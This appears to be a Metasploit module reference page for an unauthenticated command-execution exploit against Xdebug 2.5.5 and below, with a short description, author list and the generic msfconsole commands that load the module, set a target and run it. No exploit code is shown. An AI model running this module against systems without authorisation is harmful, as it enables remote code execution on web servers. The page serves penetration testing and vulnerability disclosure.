xdebug Unauthenticated OS Command Execution
09/17/2017
06/14/2018
Description
Module exploits a vulnerability in the eval command present in Xdebug versions 2.5.5 and below. This allows the attacker to execute arbitrary php code as the context of the web user.
Author(s)
- Ricter Zheng
- Shaksham Jaiswal
- Mumbai
Platform
PHP
Architectures
php
Development
Module Options
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/unix/http/xdebug_unauth_exec
msf exploit(xdebug_unauth_exec) > show targets
...targets...
msf exploit(xdebug_unauth_exec) > set TARGET < target-id >
msf exploit(xdebug_unauth_exec) > show options
...show and set options...
msf exploit(xdebug_unauth_exec) > exploit
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